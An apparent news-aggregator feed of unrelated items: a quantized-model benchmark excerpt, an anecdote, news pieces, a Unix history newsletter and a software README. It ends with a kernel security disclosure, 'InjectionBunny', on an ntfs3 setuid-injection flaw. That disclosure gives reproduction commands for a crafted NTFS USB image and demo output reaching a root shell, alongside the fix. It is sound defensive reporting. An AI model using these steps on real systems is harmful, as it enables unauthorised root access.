  4. NVIDIA NVFP4: nvidia/Qwen3.6-27B-NVFP4 ( nvidia/Qwen3.6-27B-NVFP4 · Hugging Face )
  5. AWQ W4A16: cyankiwi/Qwen3.6-27B-AWQ-BF16-INT4 ( cyankiwi/Qwen3.6-27B-AWQ-BF16-INT4 · Hugging Face )

These 4 quants represent a broad picture of weights and activations. A notable piece of information for our mathnasium is the actual CUDA kernel / GEMM (general matrix multiplication) / MMA (matrix multiply accumulate) instructions being run to calculate the logits for each quant are different:

Qwen3.6-27B (reference)

  • Weights/activations: BF16 weights, BF16 activations
  • Linear/GEMM: UnquantizedLinearMethod → torch.nn.functional.linear. Each CUDA tile selected by its associated shape/geometry.
  • KV cache: BF16 (Forced)
  • Qualification: Reference checkpoint.

Qwen3.6-27B-FP8

  • Weights/activations: E4M3 FP8 weights in 128×128 blocks; dynamic FP8 activation quantization inside converted linears; excluded modules such as lm_head remain BF16
  • Linear/GEMM: Fp8LinearMethod → CutlassFp8BlockScaledMMKernel
  • KV cache: BF16 (Forced)
  • Qualification: DeepGemm was automatically disabled because vLLM flags its E8M0 scale format as accuracy-degrading for this architecture (SM120); CUTLASS was selected instead. No calibration dataset was identified in the published files.

Qwen3.6-27B-INT8

  • Weights/activations: Static, symmetric, channel-wise INT8 linear weights; BF16 activations (W8A16). GDN/linear_attn projections and lm_head excluded from quantization.
  • Linear/GEMM: CompressedTensorsWNA16 → MarlinLinearKernel
  • KV cache: BF16 (Forced)
  • Qualification: One-shot quantization with explicitly no calibration dataset. Its unusually good fidelity is less mysterious once you account for W8A16 plus unquantized GDN projections.

Qwen3.6-27B-NVFP4

  • Weights/activations: Mixed checkpoint — 208 static FP8 W8A8 targets covering 64 full-attention projections and 144 GDN projections; 193 NVFP4 W4A16 targets covering 192 MLP projections plus lm_head, group size 16
  • Linear/GEMM:
    • FP8 targets: ModelOptFp8LinearMethod → FlashInferFP8ScaledMMLinearKernel
    • NVFP4 targets: NVFP4 GEMM → MarlinNvFp4LinearKernel
  • KV cache: BF16 (Forced)
  • Qualification: Not native FP4 arithmetic in our upstream-nightly run. vLLM classified the GPU path as lacking native FP4 support and explicitly selected weight-only FP4 compression through Marlin. The checkpoint’s embedded FP8 KV scheme was overridden with BF16 KV for the bakeoff.

Qwen3.6-27B-AWQ-BF16-INT4

  • Weights/activations: Static asymmetric INT4 weights, group size 32, MSE observer; BF16 activations (W4A16). GDN/linear_attn projections and lm_head excluded.
  • Linear/GEMM: CompressedTensorsWNA16 → MarlinLinearKernel
  • KV cache: BF16 (Forced)
  • Qualification: AWQ calibration dataset disclosed as “STEM and Agentic.”

Other notable information for this run:

  • Full softmax/GQA attention for all models was AttentionBackendEnum.TRITON_ATTN; JIT monitor observed kernel_unified_attention.
  • GDN prefill: Triton/FLA GDN prefill kernel, requested as triton, head_k_dim=128.
  • During execution, the recurrent path also JIT-compiled _causal_conv1d_update_kernel, fused_recurrent_gated_delta_rule_packed_decode_kernel, and reduce_segments.
  • TP1, eager mode, no CUDA graphs, no MTP/speculative decoding, language-only execution.

The next-token flip results shake out fairly predictably. TheDude (W8A16) mops the floor with everybody, beating first party FP8 (W8A8) and Nvidia(FP4-is-a-Lie) release. In fact, out of the 5 options, Nvidia’s release comes in dead last hitting ~50% token flips by the time we reach 88k context.

Both the NVFP4 and AWQ W4A16 failed to properly close their tool calls and botched Cisco command line syntax (the correct command was ‘show arp’, while they executed ‘show run’), while both FP8 and INT8 were able to complete the correct calls.

In future experiments I will try to explore the impact of using different fused GEMMs for the same weights, this is another interesting source of divergence where sometimes you have to trade precision for speed.

Part 1 Wrap Up

I have quite a few more experiments and observations to post, but require a great deal of parallel GPU time to calculate and record every logit sampled across huge context chains on multiple prompts with dozens of different settings.

If you have specific questions, shoot me a DM or poke me on discord I guess.

Scrap

Hacker News
twitter.com
2026-08-22 14:08:56
Comments...
Original Article

I found some old journal entries. This one is probably circa ~2006, just titled "Scrap:" I moved to Pittsburgh at the right time in my life, but at the wrong time of year. Coming from the west coast, I was actually naive enough to be excited about the prospect of winter. I imagined nothing but snowball fights, snow angles, icicles on the eves, and that muffled crunch of loose snow under your feet. I thought I'd be doing nothing but riding sleds and watching snowflakes drift down past the street lights at night. It turns out, however, that winter doesn't quite resemble this fantasy, and that it's also the kind of thing you really want to ease into. The house we moved into didn't have working utilities, much less effective heating, and January wasn't the best time to be standing in the basement with a pipe wrench, doing my best to install gas lines without being able to feel my fingers. There were days when I literally couldn't apply the thread sealant to the black iron, because it had frozen in the tube. So we had this house, and it was a wreck, and it was well below zero. But it was beautiful that we had anything at all. Just like a squat, the first order of business was to get something that approximated a flushing toilet. After that, we started tearing out walls, putting in plumbing, and trying to eek everything that we could out of forgotten pallets and scrap lumber. At one point we pulled a cast-iron bathtub out of a bathroom, and not having any immediate place to put it, temporarily set it outside -- right up against the back of the house. The next morning I stepped out back, and it was gone. Totally vanished. It hadn't even been 24 hours, and somehow a really heavy cast-iron bathtub had disappeared from our back yard. It seemed like such a random theft -- who in their right mind would spontaneously coordinate an operation to move something of that size? I didn't yet realize that where San Francisco has scroungers, Pittsburgh has scrappers. The hunt isn't for kitchy coffee mugs or spare furniture. It's for raw metals. So several months later when we pulled out another cast-iron bathtub, this one with a large hole rusted through the bottom of it, I knew just how to get rid of it. We simply put it in the back yard. The next day I was looking out the window when I saw an old pickup truck drive through the ally. It had all kinds of metal pipes and appliance parts jutting out the plywood sides which had been erected to try and contain as much metal in the bed of the truck as possible. Two guys hopped out, sized up the tub, and wrangled it into the truck. They continued around the block and pulled up next to a dumpster that we'd been steadily filling with moldy carpet out front. I waved. "ALRIGHT IF WE PULL THIS DUCTWORK OUT OF THIS DUMPSTER?!" "No problem at all." Upon closer inspection, these two were quite the team. One bulky, one scrappy, both getting old. They almost reminded you of something out of a Walter Matthou movie, where they'd both gone hard of hearing, so all communication between them was done by yelling -- even if they were standing only inches apart. I gathered that one was named Ron, the other Wade, and that their voices were continually horse. After they'd gotten the ductwork into the truck, one of them looked the house up and down. "SAY, YOU GOT ANYTHING ELSE IN THERE?" "Well," I said, "we do have an old broken gas furance in the basement." Wade looked at Ron. "YOU WANNA GO CHECK IT OUT RON?" "ALRIGHT I'LL GO CHECK IT OUT!" So Ron followed me down into the basement. He jerked the furnace around to get a feel for the weight, nodded to himself, and counted the steps up to the first floor. Back outside, Ron and Wade had a quick conference. "HOW'S IT LOOK RON?" "IT'S HEAVY WADE. REAL HEAVY. 17 STEPS." They mulled it over, before turning to where I was standing two feet away and yelling "ALRIGHT WE'LL DO IT." I went down with them, to supervise, but was quickly roped into the heavy lifting. The first thing I noticed was that moving scrap for a living doesn't make you a very good mover. They didn't even bother trying to tip the furnace down, and instead just knocked the thing straight over with a resounding crash. We sort of carry/dragged it over to the steps, where the real work began. The stairway from the basement back up to the first floor is just wide enough for the furnace. There are 13 steps up, then a small landing for a 180degree turn, then the remaining 4 steps to the first floor. Our original linup was with Wade (the big one) in front of the furnace, with me and Ron (the scrappy ones) below the furnace. These guys were not afraid to make noise. Every time they went to lift, they were moaning or yelling or cursing almost embarrasingly loudly. We tried moving it up a few steps before Wade finally shouted "RON! YOU KNOW I CAN'T DO THIS! I'VE ONLY GOT THREE TOES!" I wondered if I'd heard Wade correctly, and he responded "the sugars" when I looked at him somewhat quizzically. So Ron and Wade traded places, such that now Ron was in front and I was down below with the big guy. In fact, both him and I could barely fit in the stairwell at the same time. We'd lift a step at a time, and it took us a solid 45 minutes to make it up the first flight and into the landing. The furnace just barely fit through the doorway from the stairwell to the landing, but a pipe jutting out of it got stuck in a wall. So Wade and I were left standing on the basement side of the furnace, with the whole thing blocking the door, while Ron was out on the landing side of the furnace. Suddenly, Wade turned to me and asked "HEY, IS THERE ANOTHER WAY OUT OF THIS BASEMENT?" "Actually, no this is the only entrance." He started looking around frantically. "I... I... I GOTTA GET OUT OF HERE! I'M CLAUSTRAUPHOBIC! GET ME THE FUCK OUT OF HERE!" He continued yelling, but also started trying to pull the furnace back down towards us, which would have crushed us for sure. I could barely fit in the starewall with Wade as it was, but now I was getting seriously squished up against the wall in all the hysterics. I tried to calm him down, told him to take a deep breath, but nothing was working. I couldn't decide whether I should continue trying to help work things out in the stairwell, or just bolt back down into the basement and take cover. Ron peered through, saw what was happening, and yelled "I'LL GO GET THE AXE!" "The what?" I thought. "RON! YOU CAN'T LEAVE ME LIKE THIS! YOU CAN'T LEAVE ME!" While the furnace did fit squarely in the door frame, there was a small 2ft gap between the top of the furnace and the top of the door frame. "Wade!" I yelled, "Wade! Why don't you try going over it!" Without a microsecond of hesitation, this 250+lb guy immediately started scrambling up the furnace, trying to squeeze through the opening in the top. I sort of shrugged to myself, sighed, then started pushing on his ass, trying to help wedge him through the opening. Eventually the bulk of him was directly on top of the furnace, and when Ron came back he was able to help pull him through. He then went down face-first over the other side. But now I was stuck in the basement, with these two lunatics on the other side. The offending pipe that was preventing the furnace from moving any further needed to be resolved, and Ron was holding a full-sized axe. "Now Ron, I've got some wrenches in that room over there, you could-" WHAM! The axe came down on the pipe, ripping out a section of drywall along with it. They jerked it around the bend, shoved it up the remaining steps, and it was out the front door. "Say," I asked, "how much do you get for steel, anyway?" "FOUR CENTS A POUND." This is, basically, life in Pittsburgh.

Belgian car salesman becomes prince after DNA test proves royal parentage

Hacker News
www.cnn.com
2026-08-22 13:09:27
Comments...
Original Article

A Belgian car salesman has become a prince at the age of 26 after being acknowledged as the son of the king’s brother, Prince Laurent.

Clément Vandenkerckhove’s mother, a Belgian singer who had a relationship with Prince Laurent in the 1990s, only told him who his father was when he turned 16 a decade ago.

It emerged this week that he was legally recognized as the son and heir of the 63-year-old younger brother of King Philippe, at a low-key town hall ceremony about six months ago after a DNA test proved his link to the royal family.

Prince Laurent has registered his paternity of Vandenkerckhove with Belgium’s civil registry, The Telegraph reported on Wednesday.

The formality affords the new prince equal inheritance rights to Laurent’s private estate with his half-sister Princess Louise, 20, and half-brothers Prince Nicolas, 20, and Prince Aymeric, 19, children Laurent shares with Princess Claire whom he married in 2003.

But he will not receive a royal allowance, nor will he be expected to take on official duties, and he has no rights to the Belgian throne.

Vandenkerckhove could take his father’s family name, Saxe-Coburg, but has indicated he may not choose to.

“I am proud of the name Vandenkerckhove,” he recently told Flemish daily newspaper Het Nieuwsblad. “If I were to sacrifice that family name, it would be a betrayal of everything my mother has done for me.”

Vandenkerckhove was born in August 2000 to Belgian singer Wendy Van Wanten, whose real name is Iris Vandenkerckhove.

She and Laurent dated in the 1990s after a chance encounter at a fashion show in Paris but the relationship did not last and there has been speculation that Laurent’s father, the former king, disapproved.

Prince Laurent (right) dated Wendy Van Wanten (left), mother of Vandenkerckhove, during the 1990s.

In a documentary that aired on Belgian network VTM last September, Vandenkerckhove recounted his mother’s admission that Laurent was his father.

Four years after that, he contacted his father to share what he’d been told and Prince Laurent agreed to a DNA test.

“We went to the hospital together and I remember him saying, ‘I’ll go first so you’re feeling at ease,’” Vandenkerckhove told VTM.

Once paternity was confirmed, Vandenkerckhove said he and his father had engaged in “open and honest conversations.”

This is not the first time a secret involving Belgium’s Royal Family has emerged.

Laurent’s father, now 92, fought a paternity battle for many years before admitting in 2020 that he had fathered a daughter during an affair.

Delphine Boël, 58, eventually won her legal fight and was granted the title of princess.

She now uses the name Delphine de Saxe-Coburg.

Anthropic appears to be A/B testing reduced effort levels in Claude Code

Hacker News
twitter.com
2026-08-22 12:58:49
Comments...
Original Article

update: it's server-side, not the app anthropic enrols fable 5 sessions on claude code 2.1.236+ into an experiment that shrinks the effort scale, older versions and opus 5 are left alone probably an a/b test, so not everyone will see it if "high" feels like "low" for you, you're in the test group holy fuck anthropic, you guys are unbearable sometimes

if fable felt dumber this week, it's not you ❗❗❗ since 2.1.237 the model reads "high" effort as 10 out of 100, the exact number "low" used to be and the changelog doesn't say a word i spent my whole afternoon convinced t3 code and my own app were broken before i went

Anthropic IPO filing will show AI backlash as a risk factor, sources say

Hacker News
www.cnbc.com
2026-08-22 12:23:09
Comments...
Original Article

Dario Amodei, co-founder and chief executive officer of Anthropic, during an interview at Anthropic's headquarters in San Francisco, California, US, on Thursday, April 30, 2026.

Jason Henry | Bloomberg | Getty Images

Anthropic is poised to hit the public market at a time when an increasing number of Americans are worried about artificial intelligence and are loudly opposing new data centers. That backlash is expected to be a key risk factor in Anthropic's IPO prospectus, according to people familiar with matter.

The Claude creator has been holding preliminary "test-the-water" meetings with bankers and investors in San Francisco, said the people, who asked not to be named because the sessions are confidential. In the meetings, CFO Krishna Rao is being asked about competition, margin pressure from open-source models, and what happens if there's a slowdown in the building of data centers, the sources said.

In June, Anthropic confidentially filed to go public in what will be among the biggest IPOs on record. Elon Musk's SpaceX , which competes with Anthropic through its AI division, raised $85.7 billion , including the underwriter option, two months ago. It's by far the largest offering to date.

Investors expect that Anthropic may top that, and project the company could float at a valuation of about $2 trillion, the people said.

Anthropic declined to comment.

Like rival OpenAI , Anthropic is pushing infrastructure partners to build out at warp speed in order to meet demand for advanced models and new services. Tech's hyperscalers are shelling out hundreds of billions of dollars this year on capital expenditures to fuel data center develop and purchase the graphics processing units needed to fill them.

But public sentiment isn't in their favor.

According to a Gallup survey published in May, seven in 10 Americans opposed AI data center construction in their area, with close to half of those polled "strongly opposed." Roughly a quarter of people surveyed are in favor, Gallup said.

Representative Byron Donalds, a Republican from Florida and gubernatorial candidate, during a "Get Out The Vote" rally ahead of a primary election in Boca Raton, Florida, US, on Sunday, Aug. 16, 2026.

Eva Marie Uzcategui | Bloomberg | Getty Images

With midterms less than three months away, politicians on both sides of the aisle have been pushing back on data center development, reflecting the anger of their constituents.

It was a key issue in Florida's Republican gubernatorial primary on Tuesday, which was won by Rep. Byron Donalds, who has proposed restrictions on data centers in Florida. That same day Pennsylvania Democratic Gov. Josh Shapiro signed an executive order placing harsh standards on data center development in his state.

Companies are required to outline their risk factors as investor disclosures and for legal protection in their prospectus. SpaceX said in its risk factors section that, "Adverse global macroeconomic and geopolitical conditions may negatively affect our business, financial condition, results of operations and future prospects."

Compute capacity is directly correlated to revenue for AI labs like Anthropic, which is valued at close to $1 trillion in the private market. A slowdown could dent the historic growth rate for a company that just topped a $65 billion annual revenue run rate, as CNBC previously reported.

— CNBC's Ashley Capoot contributed to this report.

Learning about "The Unix Time-Sharing System"

Hacker News
playtechnique.io
2026-08-22 12:11:16
Comments...
Original Article

Hey there -

The feature in this month's newsletter is The Unix Time-Sharing System , by Dennis Ritchie and Ken Thompson. This newsletter's goal is to uncover real details about Unix' early history; to get more confident using these tools, I offer one-on-one teaching about linux, infrastructure tools, scripting, design and more. Check Mentorship for more.

Background

Linux, the design came from a great mind, and that great mind was not mine, I mean you have to give credit for the design of Linux to Kernighan and Ritchie and Thompson.

Linus Torvalds, informal interview, 2011

The first version was written when one of us (Thompson), dissatisfied with the available computer facilities, discovered a little-used PDP-7 and set out to create a more hospitable environment. This (essentially personal) effort was sufficiently successful to gain the interest of the other author and several colleagues.

Dennis Ritchie, The Unix Time-Sharing System

Unix was initially written by Ken Thompson. His employer, AT&T, pulled out of an Operating System project called Multics. For most of us, when our employer leaves a project they give us a new assignment: Bell Labs worked differently. It was mostly a think tank for self-directed research; the researchers were left alone to follow their own interests 1 .

Ken, now at a loose end, decided he knew what interested him: he had access to a GE-645 computer that was bought for Multics work but was now idle. It had drum disks and he wanted to optimise disk throughput. Nobody had solved this before. In his own words:

The peripherals were great...it had a set of disks that were faster than anything that I could imagine, and I wanted to write drum seeking algorithms, I wanted to get throughput on drums because everything I knew in the computer center or in Multics couldn't deal with drums well...Basically they would say "read" and wait for the read to come back, but what you want to do is simultaneous overlapped reads. Basically it was fun, but that's my life, that's my whole being.

Ken Thompson, Turing Award Interview

He lost access to the machine when he was ready to start interactive terminal sessions using his new disk layout and accessing scheme. To replace it, he found the "little-used PDP-7" and used it to continue his disk layout research. He realises that he's almost got a full operating system and needs about 3 weeks to finish it. Again, in his own words:

It had a file system. It had a disc driver. It had I/O peripherals. It had, you know, it had everything except the ability to maintain itself. So I needed a compiler, editor, an assembler, a loader, and user protection to run multiple users.

Ken's wife coincidentally took a 3 week vacation with their child, and so Ken finished up the remaining few tidbits.

Just to ensure you know who you're dealing with, yes, Ken Thompson wrote a compiler and an editor and an assembler and a loader and user protection in 3 weeks, written in assembly.

The File Opening Revolution

There're about ten thousand small historical details worth commenting on in this paper, but I wanted to cover a really weird one that won't draw your attention unless you know what you're seeing. You see, Multics had what's known as a single-level store. Here's the quote:

The purpose of an open or create system call is to turn the path name given by the user into an i-number by searching the explicitly or implicitly named directories. Once a file is open, its device, i-number, and read/write pointer are stored in a system table indexed by the file descriptor returned by the open or create. Thus, during a subsequent call to read or write the file, the descriptor may be easily related to the informa- tion necessary to access the file.

Dennis Ritchie & Ken Thompson, The Unix Time-Sharing System

We live in a world where this is such a mundane statement. Open...opens a file. What was contemporary at the time? Fortunately, Ken Thompson told us:

Multics was a virtual memory system with page faults, and it didn't differentiate between data and programs. You'd jump to a segment as it was faulted in, whether it was faulted in as data or instructions. There were no files to read or write — nothing you could remote — which I thought was a bad idea. This huge virtual memory space was the unifying concept behind Multics and it had to be tried in an era when everyone was looking for the grand unification theory of programming, but I thought it was a big mistake. I wanted to separate data from programs, because data and instructions are very different. When you're reading a file, you're almost always certain that the data will be read sequentially, and you're not surprised when you fault a and read a + 1. Moreover, it's much harder to excise instructions from caches than to excise data. So I added the exec system call that says “invoke this thing as a program,” whereas in Multics you would fault in an instruction and jump to it.

Ken Thompson, Unix And Beyond , 1999

Ken stumbled upon something that's still hitting us hard today, you should treat different things differently.

Comfiles

Here's another delightful quote that hides a deeper secret:

Thus, when the shell is executed as a command with a given input file, as in: sh <comfile the commands in comfile will be executed until the end of comfile is reached; then the instance of the shell invoked by sh will terminate.

Dennis Ritchie & Ken Thompson, The Unix Time-Sharing System

So what's a comfile ? Clearly it's a shell script, yeah? So why're they called comfiles? It's short for "command files". Dennis and Ken's collaborator and team lead Doug McIlroy actually shines a light on where this name comes from, and incidentally tells all of the BSD-loving audience where the rc.local convention comes from:

The shell read commands from the same standard input as did programs that it invoked. Thus commands and data were interleaved in command files, or "runcoms," now usually called shell scripts. [A] Runcom [is] a program that could run a short script of commands in the background, was the closest thing MIT's CTSS had to a callable shell. A vestige of the name survives in the boot script, /etc/rc.

Doug McIlroy, A Research Unix Reader

Conclusions

For most of us who don't know the history of Unix, it can be too easy to assume it was a quick success. The paper opens up telling us, "Since PDP-11 Unix became operational in February, 1971, over 600 installations have been put into service." The version of the paper I'm linking to was published in 1977. That's 6 years of Ken and Dennis' life.

Six years of discipline: keeping to a small number of system calls, inventing a programming language and refining and refining it, six years of identifying healthy patterns and moving Unix to be both what the inventors wanted and to deliver value to other people.

This is the kind of discipline that I teach: I help you learn how to learn the technical skills you need. You bring me the thing you're stuck on, a build pipeline you don't trust or a language you keep bouncing off, and we work it until you understand it well. Unix history has lessons to teach us, and I like sharing those for free, but self-improvement needs focus and hard work.

You should go read The Unix Time-Sharing System . It's like a love letter from your community's past to you, today. If you want someone in your corner while you work on your own six-year challenge, sign up for mentorship and let's get after it.

Gwendolyn James

P.S. Thanks for your attention today. Please do forward this on to other people you know who love this kind of geek-history. These letters are here to help encourage, inform, and inspire, and I'd love to see the list continue to grow.

[1] For more on this fascinating workplace, see either the book "The Idea Factory" by Jon Gertner, or the essay "You and Your Research" by Richard Hamming. You should definitely read Richard's essay, it's the best thing ever written about deciding what you personally work on, but it's nice to have a reason.

nss-userhosts - hosts files for unprivileged users

Lobsters
codeberg.org
2026-08-22 11:56:18
Comments...
Original Article

A glibc Name Service Switch (NSS) extension library to allow unprivileged users to have their own /etc/hosts-like entries.

Features

The tool is in an early stage but usable. Currently it supports:

  • parsing $HOME/.config/userhosts/*.conf files in hosts format and combining all records
  • both IPv4 and IPv6 records

Not supported (yet?) is:

  • resolving addresses to names
  • making use of the XDG specification to find the correct directory

Limitations:

  • This only works with software that actually uses the glibc resolver

How to use it

Installation

After cloning the repository, build it:

  • cargo build --release
  • the resulting artifact libnss_userhosts.so needs to be renamed to libnss_userhosts.so.2 be correctly found by glibc
  • copy the library into your library loader path, /usr/lib/ (in my tests, /usr/local/lib didn't work unfortunately)

If you run Arch you can also build the package: cd packaging && makepkg

Configuration

Now you need to tell glibc to use it. This is done in /etc/nsswitch.conf . Modify the line starting with hosts such that userhosts is in the front, e.g. like so:

hosts: userhosts mymachines resolve [!UNAVAIL=return] files myhostname dns

You are now ready to define your own hosts. Create the directory: mkdir --parents $HOME/.config/userhosts and add a first hosts, e.g:

echo "192.168.1.79 catfeeder" > $HOME/.config/userhosts/pets.conf

To test, you can use getent like so:

getent ahosts catfeeder

Hacking

If something doesn't work, try running your program with the environment variable ENV NSS_USERHOSTS_LOG true set. This will print debug messages of the module to stderr.

I usually test it using unprivileged containers and podman . There's a justfile for that, so just test should get you started if you have podman and just installed. The Containerfile can be easily adapted for further tests.

Bugs & support

You can open a pull request or file an issue on Codeberg but I don't have a lot of time to work on this. But I'll try to look at it in a timely manner.

InjectionBunny, a NTFS3 SUID injection for privilege escalation

Lobsters
lore.kernel.org
2026-08-22 11:25:07
Comments...
Original Article
* Fwd: InjectionBunny: NTFS3 SUID injection leading to local privilege escalation
       [not found] <CAGBKPgMqBMsBH4mm2fwggA8rJZ3R15nPxuEh0emOeVpX2kgHPA@mail.gmail.com>
@ 2026-08-07 10:39 ` vova tokarev
  0 siblings, 0 replies; only message in thread
From: vova tokarev @ 2026-08-07 10:39 UTC (permalink / raw)
  To: almaz.alexandrovich; +Cc: security, ntfs3


[-- Attachment #1.1: Type: text/plain, Size: 2898 bytes --]

Hi,

It's been almost two months since I reported this, and I haven't heard
back. I recently learned I should reach out to the subsystem maintainer
directly, so forwarding this to you.

I noticed that CVE-2026-63833 (commit f8d420949b33) was assigned and
merged for a related issue -- blocking setxattr() writes to $LX*
names. However, this only fixes one of the two attack vectors I
reported. The primary vector in my original report remains open:

A pre-crafted NTFS image (e.g. USB drive) with $LXUID=0, $LXGID=0,
$LXMOD=0104755 already in the MFT produces a setuid-root binary the
moment the volume is mounted. No setxattr() is involved -- the EAs
are on disk. The -EPERM check doesn't help.

The root cause is still at fs/ntfs3/xattr.c:1022:

    inode->i_mode = le32_to_cpu(value[2]);

This loads S_ISUID/S_ISGID directly from untrusted on-disk data.
Desktop automounters (udisks) mount NTFS with suid by default, so
plugging in a crafted USB gives any local user euid=0.

Suggested one-line fix:

-   inode->i_mode = le32_to_cpu(value[2]);
+   inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);

I have a full PoC and working demo (included in my original report
below). Would love to hear your thoughts.

Thanks,
Vladimir

---------- Forwarded message ---------
From: vova tokarev <vladimirelitokarev@gmail.com>
Date: Thu, Jun 25, 2026 at 2:18 PM
Subject: InjectionBunny: NTFS3 SUID injection leading to local privilege
escalation
To: <security@kernel.org>


Hi,

I found a local privilege escalation (InjectionBunny) in the ntfs3
filesystem driver. The function ntfs_get_wsl_perm() in fs/ntfs3/xattr.c
assigns the on-disk $LXMOD extended attribute directly to inode->i_mode
without masking S_ISUID or S_ISGID bits.

A crafted NTFS image (e.g., on a USB drive) with $LXUID=0, $LXGID=0,
$LXMOD=0104755 on a binary makes it appear as a setuid-root executable
when mounted. Executing the binary gives immediate root access.

The attack is deterministic (no race condition, no heap spray), works
on first attempt, and affects every Linux system with CONFIG_NTFS3_FS
that mounts NTFS volumes without the nosuid option.

The same pattern exists in the old ntfs driver (fs/ntfs/ea.c function
ntfs_ea_get_wsl_inode).

Affected versions: Linux 4.11+ (since ntfs3 WSL EA support)
Confirmed on: 7.1.0 (aarch64)

Attached files:
  - InjectionBunny.mov             Video demo of full exploit
  - injection_bunny.py             Creates malicious NTFS image
  - suidhelper.c                   SUID payload (setuid(0) + shell)
  - InjectionBunny_report.md       Detailed writeup with root cause,
                                   reproduction, and suggested fix

Suggested fix: mask S_ISUID/S_ISGID in ntfs_get_wsl_perm():
  inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);

Thank you,
Vladimir Tokarev

[-- Attachment #1.2: Type: text/html, Size: 3461 bytes --]

[-- Attachment #2: InjectionBunny_report.md --]
[-- Type: text/markdown, Size: 5785 bytes --]

# InjectionBunny: NTFS3 SUID Injection LPE

## Summary

A local privilege escalation vulnerability exists in the Linux kernel's ntfs3
filesystem driver. The function `ntfs_get_wsl_perm()` in `fs/ntfs3/xattr.c`
reads the `$LXMOD` extended attribute from NTFS on-disk data and assigns it
directly to `inode->i_mode` without masking `S_ISUID` or `S_ISGID` bits.

An attacker can craft an NTFS filesystem image containing a binary with
`$LXUID=0` (root), `$LXGID=0` (root), and `$LXMOD=0104755`
(S_ISUID | S_IFREG | 0755). When this image is mounted (e.g., via USB
automount), the binary appears as a setuid-root executable. Any unprivileged
user who runs it obtains `euid=0` and full root privileges.

This attack is deterministic (no race, no heap spray), works on first attempt,
and requires only physical access to plug in a USB drive (or ability to mount
a loop device).

## Affected Versions

- Linux 4.11+ (since ntfs3 WSL EA support)
- The same pattern exists in both `fs/ntfs3/xattr.c` and `fs/ntfs/ea.c`
- Confirmed on Linux 7.1.0 (aarch64)
- All architectures affected (bug is in generic filesystem code)

## Affected Distributions

Every Linux distribution with `CONFIG_NTFS3_FS` enabled (most modern distros):
- Ubuntu 22.04+, Debian 12+, Fedora 36+, RHEL 9+, SUSE 15.4+, Arch Linux
- Any system that automounts NTFS USB drives

## Root Cause

In `fs/ntfs3/xattr.c`, function `ntfs_get_wsl_perm()` at line 1032:

```c
void ntfs_get_wsl_perm(struct inode *inode)
{
    __le32 value[3];

    if (ntfs_get_ea(inode, "$LXUID", ..., &value[0], ...) == sizeof(value[0]) &&
        ntfs_get_ea(inode, "$LXGID", ..., &value[1], ...) == sizeof(value[1]) &&
        ntfs_get_ea(inode, "$LXMOD", ..., &value[2], ...) == sizeof(value[2])) {
        i_uid_write(inode, (uid_t)le32_to_cpu(value[0]));
        i_gid_write(inode, (gid_t)le32_to_cpu(value[1]));
        inode->i_mode = le32_to_cpu(value[2]);  // NO MASK
    }
}
```

The raw on-disk `$LXMOD` value is assigned directly to `inode->i_mode` with
no sanitization.

The same vulnerability exists in the old ntfs driver at `fs/ntfs/ea.c` line
390 in `ntfs_ea_get_wsl_inode()`.

## Proof of Concept

### Step 1: Attacker prepares the malicious USB drive (on attacker's machine)

```bash
# Compile the payload binary (must be static, for target architecture)
gcc -static -O2 -o suidhelper suidhelper.c

# Create the NTFS image with injected SUID permissions
python3 injection_bunny.py evil_usb.img ./suidhelper

# Write to a physical USB drive
dd if=evil_usb.img of=/dev/sdX bs=4M
```

`injection_bunny.py` creates a minimal NTFS image by formatting with
`mkfs.ntfs`, then patching raw MFT (Master File Table) records to inject
`$LXUID=0`, `$LXGID=0`, `$LXMOD=0104755` extended attributes on the
payload binary. These are Windows Subsystem for Linux (WSL) extended
attributes that the Linux ntfs3 driver reads and trusts during inode
initialization.

### Step 2: Victim plugs in the USB drive

The Linux desktop automounts the NTFS drive (via udisks/udev). The kernel's
ntfs3 driver reads the crafted WSL EAs and sets `inode->i_mode = 0104755`,
making the binary appear as `-rwsr-xr-x root root` (setuid root).

No user interaction required beyond plugging in the drive.

### Step 3: Any unprivileged user executes the binary

```bash
/media/victim/USBDRIVE/pwn
```

The kernel grants `euid=0` because the SUID bit is set and the file is
owned by root (from `$LXUID=0`). The payload calls `setuid(0)` +
`execve("/bin/sh")` and drops into a root shell.

### Demo Output (from QEMU test environment)

```
~ $ whoami
victim

~ $ id
uid=1000(victim) gid=1000(victim)

~ $ ls -la /mnt/usb/pwn
-rwsr-xr-x    1 root     root        706400 /mnt/usb/pwn

~ $ ./exploit
[>] Mounting crafted NTFS image...
[>] Mounted at /mnt/usb
[>] File: /mnt/usb/pwn mode=4755 uid=0
[>] Dropping to uid=1000...
[>] Running as uid=1000 gid=1000
[>] Executing /mnt/usb/pwn ...

[>] uid=0 euid=0 gid=0
[>] Got root.

/home/victim # whoami
root
```

## Impact

- **Confidentiality**: Full system access as root
- **Integrity**: Arbitrary file modification, kernel module loading
- **Availability**: System compromise

CVSS 3.1: **6.8** (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Note: AV:P (Physical) because the primary attack vector is a crafted USB
drive. If the attacker can mount loop devices, this becomes AV:L.

## Prerequisites

- `CONFIG_NTFS3_FS=y` or `=m` (enabled in most modern distros)
- NTFS volume mounted without `nosuid` option
- Physical access (USB) or ability to mount loop devices

## Suggested Fix

Mask dangerous permission bits when loading WSL EAs:

```c
- inode->i_mode = le32_to_cpu(value[2]);
+ inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);
```

The same fix should be applied to `fs/ntfs/ea.c`.

## Test Environment

- **Kernel**: Linux 7.1.0 (tag v7.1)
- **Architecture**: aarch64 (ARM64)
- **VM**: QEMU aarch64 with HVF acceleration, 4GB RAM, 4 CPUs

## Reproduction Steps

1. Compile the payload: `gcc -static -O2 -o suidhelper suidhelper.c`
2. Create the image: `python3 injection_bunny.py evil_usb.img ./suidhelper`
   (requires `mkfs.ntfs` from ntfs-3g package)
3. Write to USB: `dd if=evil_usb.img of=/dev/sdX bs=4M`
4. Plug USB into target Linux machine
5. As any unprivileged user: `/media/<user>/USBDRIVE/pwn`
6. Result: root shell

## Files

- `InjectionBunny.mov` - Video demo of the full exploit (victim to root)
- `injection_bunny.py` - Runs on attacker's machine. Creates the malicious
  NTFS image by formatting with mkfs.ntfs and patching raw MFT records to
  inject WSL EAs ($LXUID=0, $LXGID=0, $LXMOD=0104755)
- `suidhelper.c` - The payload binary that gets embedded in the NTFS image.
  When executed with euid=0 (from the SUID bit), it calls setuid(0) +
  execve("/bin/sh") to drop into a root shell

